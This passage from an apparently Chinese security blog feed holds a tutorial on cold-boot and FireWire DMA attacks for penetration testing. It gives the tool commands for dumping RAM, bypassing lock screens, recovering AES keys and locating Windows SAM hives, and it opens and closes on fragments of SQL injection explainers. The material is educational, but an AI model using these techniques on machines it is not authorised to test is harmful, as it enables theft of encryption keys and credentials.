因系统平台而异，这里不再赘言。</div><div style="word-break: break-all; margin: 10px 0px;">　　后注：&#9312;可能有读者会觉得此文很假，的确，鉴于篇幅问题，文中目标站点是我事先踩点过的，所以才</div><div style="word-break: break-all; margin: 10px 0px;">　　会一路凯歌，事实上很少会有站点会如此理想，但万变不离其宗，只是时间问题罢了。</div><div style="word-break: break-all; margin: 10px 0px;">　　&#9313;文中所述演示环境建立在同时满足两个条件下：</div><div style="word-break: break-all; margin: 10px 0px;">　　1.php配置文件中魔术引号已关闭；</div><div style="word-break: break-all; margin: 10px 0px;">　　2.建站程序中没有对用户输入字符进行过滤。</div></div><img src ="http://www.blogjava.net/qileilove/aggbug/409449.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-01-30 11:55 <a href="http://www.blogjava.net/qileilove/archive/2014/01/30/409449.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>渗透测试中的冷却启动攻击和其他取证技术</title><link>http://www.blogjava.net/qileilove/archive/2014/01/20/409119.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 20 Jan 2014 02:06:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/01/20/409119.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/409119.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/01/20/409119.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/409119.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/409119.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　这是一个星期四的晚上，快乐时光即将开始。你会尽快走出办公室。你整天都忙于准备一份报告，第二天早上还需继续，因此你将电脑锁屏。这足够安全，是吗？因为你使用了高强度密码，并全盘加密，Ophcrack或者可引导的linux发行版例如kali不起作用。你自认为安全了，其实你错了。为了得到重要材料，攻击者越来越无所不用其极，这包括使用取证领域的最新技术。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　计算机中存在一个单独的区块：活动内存，任何一个攻击者都愿意把手伸到这个存储有敏感信息完全未加密的区块。系统为了方便调用，在内存中存储了多种有价值信息；全盘加密机制也必须在内存的某个地方存储密钥。同样，Wi-fi密钥也是如此存储的。<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>在内存中存有注册表键值，系统和SAM hive。许多剪贴板内容和应用程序密码也在存储于内存中。即问题在于，内存存储了系统在某时刻需要的大量有价值信息。攻击者要获得它，需要使用一些同样的取证技术。本文有助于向<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">渗透测试</strong></u></a>工具包中增加这些技术。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　设置环境</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　信息转储可以很容易的构建系统全貌。近年来，内存捕获价值已经得到取证专家的高度重视，但却并未获得渗透测试人员的足够重视。这有众多原因。取证调查人员使用专业软件捕获内存，同时记录进设备中。他们使用这些捕获信息，寻找恶意软件或隐藏进程。渗透测试人员将会对哈希值、文件、运行进程更感兴趣。如果已经拥有系统的访问权限，他们很大可能不再需要内存捕获来得到这些信息。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　但是，在一些情境下，内存捕获对渗透测试人员作用极大。设想如下场景：在一个内部行动中，测试人员获得了接触机器的权限。客户满信心认为测试人员不可能利用这些机器获得对系统的访问。这些机器使用了全盘加密，拥有阻止从Ophcrack和下载hash的功能。运行中的机器全部处于锁定状态。客户不知道的是，测试人员拥有丰富的技术经验，能够抓取运行系统内存中的内容。需要强调的是有两种技术可以用于这样的情景：冷启动攻击和火线接口攻击。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">冷启动攻击</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　2008年年初,普林斯顿大学电子前沿基金会和温瑞尔系统公司的研究人员联合发表了一篇题为《鲜为人知的秘密：对密钥的冷启动攻击》的<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>，该文详解了从运行系统获取内存信息的一种新型攻击方式。该类攻击基于数据遗留。人们的普遍看法是机器一旦断电，内存中的数据就会立刻丢失；即按开电源开关，所有数据在刹那间消失。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　然而，研究人员指出真相并非如此。事实上，数据从内存中丢失需要一定的时间。断开一台机器的电源一到两秒，大部分数据会完好无损。该效果可通过冷却内存延长。研究人员借助一种老式社交游戏，倒置一灌压缩空气，做了测试。冷却内存确实可以使数据保持很多秒，甚至好几分钟。这促使研究人员开发一系列工具，用来从即将关闭电源的机器内存中提取信息，然后再次启动系统。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　使用这种方法捕获内存，存在小错误的几率会相对较高，这就是它被取证组织大量摒弃的原因。但是，渗透测试人员并不需要内存的法律上的取证镜像。如果密钥或SAM数据库完好无损，即使内存有2%的破坏也是可以接受的。即使有点难，这种方法对内部渗透测试人员来说，也是一个合适的攻击向量。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　The Lest We Remember团队创造了大量用于攻击的工具，可以在普林斯顿网站https://citp.princeton.edu/research/memory/code/下载到。主要工具是一个USB/PXE镜像工具，可以下载到源码。研究团队制作了许多makefiles文件使编译更容易，他们也在源码中打包了优秀的文档。32位的提取器应该在32位虚拟机或32位物理机器上编译，64位的提取器同样需要在64位虚拟机或物理机器上编译。需要为目标机器使用合适的提取器，如果32位提取器在64位机器上使用，它将不能抓取全部的内存空间，因为32位提取器不能完全访问到64位的内存地址空间。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Makefile编译的结果是一个命名为scraper.bin的文件，其实是一个可以拷贝到USB设备的可引导启动的镜像工具。该USB同时需要用于存储内存镜像，建议使用大存储量的USB设备；因为当前主流系统使用4G到8G的内存，所以建议使用至少16GB容量的USB设备。以root用户权限，使用dd工具把scraper文件拷贝到USB设备，命令中sdb是硬盘驱动器的挂载点：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　sudo dd if=scraper.bin of=/dev/sdb</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　这个时候，为目标系统准备好USB设备。理想情况下，渗透测试人员准备好一个32位的8G和一个64位的16G可以在内部环境使用的USB设备，同时备好一罐压缩空气。目标机器必须是一个运行中，且锁定的系统，有无用户登录无关紧要。同时，目标必须被全盘加密，否则启动Kali或Ophcrack，只需少量<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>，就可以获得出色效果。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　一旦合适的目标被定位后，渗透测试人员(从客户处获得了适当的授权)应该打开机箱，露出内存。同时，他们需要插入USB设备。一切准备就绪后，渗透测试人员可以倒置灌装压缩空气并喷射覆盖，以冷却内存。由于这会导致在芯片上成霜，小心使用软管浇内存，不要碰到主板其他部分。图1显示了已经被冷冻用于攻击的笔记本内存。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44065" target="_blank" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/01/14982672_201401141454041RQxg.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a>　　</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">图1 为冷启动攻击冷却内存</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　内存冷却足够后，渗透测试人员需要尽可能快地切断并恢复供电。在桌面计算机上，这相对简单，按reset电源键就可实现。但是大部分的笔记本并没有reset按键，进行这样快速的重置电源操作本质上很困难。最好的办法是快速替换电池，并按电源键。上述两种机器环境，越是快速恢复供电，内存镜像就越完好。<br /><br /><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　当渗透测试人员从USB启动机器，scraper工具会自动复制内存镜像至USB设备。图2的屏幕截图显示了scraper工具在工作。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　<a href="http://www.51testing.com/batch.download.php?aid=44066" target="_blank" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/01/14982672_201401141454042HFje.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a>　</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">图2 Scraper工具</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　根据内存大小和USB端口速率，捕获过程需要一会儿，对大容量内存则需要数小时。Scraper程序完全复制内存后，它将立即重新启动系统。渗透测试人员只需移除USB设备并插回编译scraper的机器。在源码中有一个叫做USBdump的工具，它只是简单地使用如下命令：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　sudo ./usbdump /dev/sdb &gt; memdump.img</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　把USB设备上的每个字节拷贝至渗透测试人员的机器。再次，根据内存捕获镜像的大小，这可能需要数小时。最终结果是内存镜像的完全拷贝文件，包含目标机器的一个字节一个字节的捕获镜像，同时有望使错误最少。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　火线接口攻击</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　电气和电子工程师协会的1394接口，是初始设计用于取代SCSI的一个高速通信接口，更因为苹果公司以火线命名实现而知名。火线的主要部分是它的高速数据传输速率，这也是它大量应用于音视频传输的原因。火线接口高速率的一个主要特征是，它可以完全绕过CPU，通过直接内存访问DMA的方式访问内存。这对从相机下载数小时连续镜头的视频编辑者来说是一个好消息，对于渗透测试人员同样如此。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　火线接口的直接内存访问使具有目标机器物理接触能力的渗透测试人员，可以通过重写包含访问控制功能的内存部分，绕过操作系统的密码保护机制。DMA同样可以让渗透测试人员下载小于4GB内存镜像。即使火线接口仅能访问少于4GB的内存且能使用反病毒软件保护DMA，这类型的访问还是揭示了IEEE1394标准中重大的安全缺陷。由于火线接口的热插拔功能，即使目标机器在锁定情况下，攻击同样能够进行。此外，虽然大部分操作系统试图对知名火线接口设备如iPods进行DMA授权限制，但是欺骗设备很容易。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　由于攻击主要针对火线接口，对同一总线下的任何设备同样有效；这些包括ExpressCard，PC Card和所有苹果新产品都可以使用的雷电端口。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　Carsten Maartmann-Moe已经开发了一个叫做Inception的工具，可以轻松利用火线接口。该工具可在http://www.breaknenter.org/projects/inception/找到。Inception必须从一个Linux桌面运行。这种情况下，Linux系统不能是一个虚拟机，因为虚拟机不能实现火线接口传输(出于安全原因)。另外，渗透测试人员需要Python3和Freddie Witherden的1394包。最后，攻击和目标机器都需要具备一个火线接口，EC，雷电或者PC card接口。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　Inception安装准备就绪后，渗透测试人员仅需通过一个火线接口电缆，简单的连接攻击和目标机器，并在root权限模式下运行命令</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　incept</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　Incept将会访问内存中负责访问控制的部分并&#8220;修补&#8221;它们，使我们可以无密码访问机器。当然，目标机器内存含有丰富的信息，渗透测试人员可以使用</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　incept &#8211;d</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　命令转储小于4GB的内存镜像。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　内存转储分析</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　转储内存镜像是一会事，分析数据则是一个更难的阻碍。幸运地是，一系列专注于此目的的工具可以获得。在思路上，很少工具是设计用于渗透测试的。许多是取证分析工具用于寻找运行的进程，恶意软件和隐藏的数据。内存取证仍然是一个相对崭新的领域，尤其是64位环境下的分析。许多出色的工具仍然局限于法律取证使用。这就是说，大量可执行的任务可以向客户揭示风险。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　Lest We Remember团队也创建了一个分析工具，用于捕获内存镜像。他们论文的主题是密钥可以从内存中恢复；他们的工具命名为AESKeyFind，用于在捕获的内存镜像中搜索AES密钥次序表并恢复密钥。该工具可从下载Scraper程序的同一站点下载。最后，该工具携带一个易于编译的makefile文件。该工具编译后，可以用命令</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　./aeskeyfind &#8211;v memoryimage.raw</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　运行，在内存镜像文件中执行搜索AES密钥并在显示屏上打印它们。AESKeyFind将搜索128位和256位的密钥，即使镜像不完全或存在错误，该工具也可能恢复密钥。例如，图3显示了从一个包含大量错误的镜像文件中恢复AES密钥。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44067" target="_blank" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/01/14982672_201401141454043eXRC.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a>　　</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">图3 在破损内存镜像中找打AES密钥<br /><br /><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　这些AES密钥序列可以被大量不同的应用使用。它们可能是用于全盘加密，VPN，无线网络的主要密钥。如果它们被恢复，接下来的步骤就是破译。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　另一个有用的工具是Volatility，一个开源的内存取证分析框架。Volatility拥有众多模块可以让渗透测试人员抽取运行进程中有用信息和目标机器设置。如果内存镜像完好，渗透测试人员甚至能够抽取出Windows的hashes。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　首先是识别出内存镜像的架构，这样Volatility才知道到哪个位置找，该项工作由imageinfo模块完成。图4显示了imageinfo模块被调用，且内存配置文件结果被Volatility识别。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<a href="http://www.51testing.com/batch.download.php?aid=44068" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/01/14982672_2014011414540442u5O.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">图4 Imageinfo模块识别出镜像架构</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　使用这些信息，渗透测试人员可以用额外的模块识别出SAM和来自注册表的系统hives文件。由于在机器使用时，windows在活动内存中存储注册表信息；Volatility的hivelist模块可以用于识别内存中的每个注册表位置。图5显示了hivelist模块正在被imageinfo模块识别出的配置文件调用。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44069" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/01/14982672_2014011414540459TLL.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a>　　</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">图5 hivelist模块显示SAM和System Hives地址</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　在32位系统中，Volatility有一个hashdump模块，当给出SAM和System hives地址时，能够自动抽取密码hash。遗憾的是，这个模块当前在64位系统中不能工作，所以限制了它的用途。就是说，Volatility是开源的，没有理由不能实现64位模块。另外，一旦SAM和System hives地址确定，一个技术性可能是从镜像文件中抽取它们并使用其他工具抽取密码hashes。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">小结</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　微软公司的安全响应中心有10个不变的安全法则。第3号法则是，如果一个坏家伙不受限制地访问你的机器，这已经不是你的机器了。许多客户认为，全盘加密和强密码弥补了攻击者对机器的任何物理直接访问。他们没有考虑到活动内存的危险。活动内存中存储了足够多的信息，渗透测试人员可以从其中获得重要信息或对内部网络的访问权。这从来没有被认为是问题，因为对外部攻击者来说不存在事实方式获得内存镜像。但是，特定环境下冷却启动和火线接口攻击，不但使获得内存访问，而且使获得密钥的突破访问成为可能。</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/409119.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-01-20 10:06 <a href="http://www.blogjava.net/qileilove/archive/2014/01/20/409119.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>sql注入攻击</title><link>http://www.blogjava.net/qileilove/archive/2014/01/16/409021.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 16 Jan 2014 05:27:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/01/16/409021.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/409021.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/01/16/409021.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/409021.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/409021.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>攻击（SQL injection，台湾称作SQL资料隐码攻击），简称注入攻击，是发生于应用程序之<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　有部份人认为<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL注入</strong></u></a>攻击是只针对Microsoft SQL Server而来，但只要是支持批处理SQL指令的数据库服务器，都有可能受到此种手法的攻击。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　原因</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在应用程序中若有下列状况，则可能应用程序正暴露在SQL Injection的高风险情况下：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在应用程序中使用字符串联结方式组合SQL指令。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在应用程序链接数据库时使用权限过大的账户（例如很多开发人员都喜欢用sa（内置的最高权限的系统管理员账户）连接Microsoft SQL Server数据库）。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在数据库中开放了不必要但权力过大的功能（例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等）</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　太过于信任用户所输入的数据，未限制输入的字符数，以及未对用户输入的数据做潜在指令的检查。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">作用原理</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　SQL命令可查询、插入、更新、删除等，命令的串接。而以分号字符为不同命令的区别。（原本的作用是用于SubQuery或作为查询、插入、更新、删除&#8230;&#8230;等的条件式）</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　SQL命令对于传入的字符串参数是用单引号字符所包起来。《但连续2个单引号字符，在SQL数据库中，则视为字符串中的一个单引号字符》</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　SQL命令中，可以注入注解《连续2个减号字符 -- 后的文字为注解，或&#8220;/*&#8221;与&#8220;*/&#8221;所包起来的文字为注解》</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　因此，如果在组合SQL的命令字符串时，未针对单引号字符作取代处理的话，将导致该字符变量在填入命令字符串时，被恶意窜改原本的SQL语法的作用。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　以上内容摘自维基百科@</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　最近翻到一本有关SQL注入攻击与防御的一本书，当然这本书内容很长，我还只读了前两章部分，后续我会慢慢把书里的知识梳理到我的博客中来！</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44073" target="_blank" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/01/14982672_201401141519161YyN4.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　SQL 注入攻击的主要原因，是因为以下两点原因：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　1. php 配置文件 php.ini 中的 magic_quotes_gpc选项没有打开，被置为 off；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　2. 开发者没有对数据类型进行检查和转义。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　不过事实上，第二点最为重要。我认为， 对用户输入的数据类型进行检查，向 MYSQL 提交正确的数据类型，这应该是一个&nbsp;<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>&nbsp;程序员最最基本的素质。但现实中，常常有许多小白式的 Web 开发者忘了这点，从而导致后门大开。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　为什么说第二点最为重要？因为如果没有第二点的保证，magic_quotes_gpc 选项，不论为 on，还是为 off，都有可能引发 SQL 注入攻击。下面来看一下技术实现：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">一、 magic_quotes_gpc= Off 时的注入攻击</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　magic_quotes_gpc = Off 是 php 中一种非常不安全的选项。新版本的 php 已经将默认的值改为了 On。但仍有相当多的服务器的选项为 off。毕竟，再古董的服务器也是有人用的。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　当magic_quotes_gpc = On　时，它会将提交的变量中所有的 '(单引号)、"(双号号)、(反斜线)、空白字符，都会在前面自动加上 。下面是 PHP的官方说明：</div><div style="word-break: break-all; line-height: 21.59090805053711px; 